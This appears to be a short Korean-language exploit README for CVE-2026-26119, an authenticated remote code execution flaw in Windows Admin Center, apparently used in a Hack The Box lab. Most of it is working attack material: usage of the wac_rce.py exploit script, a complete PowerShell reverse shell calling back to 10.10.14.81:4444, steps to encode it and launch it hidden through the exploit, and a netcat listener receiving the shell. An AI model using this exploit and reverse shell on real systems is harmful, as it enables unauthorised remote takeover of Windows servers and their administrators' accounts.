cyb3rwitch3r/cve-2026-26119WinREST/PowerShell invokeCommand를 통한 Windows Admin Center용 인증된 원격 코드 실행 익스플로잇; 자격 증명을 받아 인코딩된 리버스 셸을 포함한 임의의 PowerShell 명령을 실행합니다.
WAC RCE - CVE-2026-26119 WinREST/PowerShell invokeCommand를 통한 Windows Admin Center 인증 RCE.
사용법:
python3 wac_rce.py <user> <pass> "<powershell command>"
WAC_PASS=<pass> python3 wac_rce.py <user>
환경 변수:
WAC_BASE - override target base URL (default below)
WAC_PASS - password, used if not passed positionally
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ python3 wac_rce.py 'anderson.w' 'Password' 'whoami'
danglingtree\anderson.w
리버스 셸을 얻는 방법:
cat > revshell.ps1 << 'EOF'
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.81',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
cat revshell.ps1 | iconv -t utf-16le | base64 -w 0 > revshell.b64
nc 리스너 생성:
nc -nlvp 4444
python3 wac_rce.py 'anderson.w' 'Password' "Start-Process powershell -WindowStyle Hidden -ArgumentList '-nop -enc $(cat revshell.b64)'"
┌──(pwn㉿pwn)-[~/HTB/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.81] from (UNKNOWN) [10.129.171.81] 54318
$Host.UI.RawUI.WindowTitle = "shell"
PS C:\Users\anderson.w\Documents>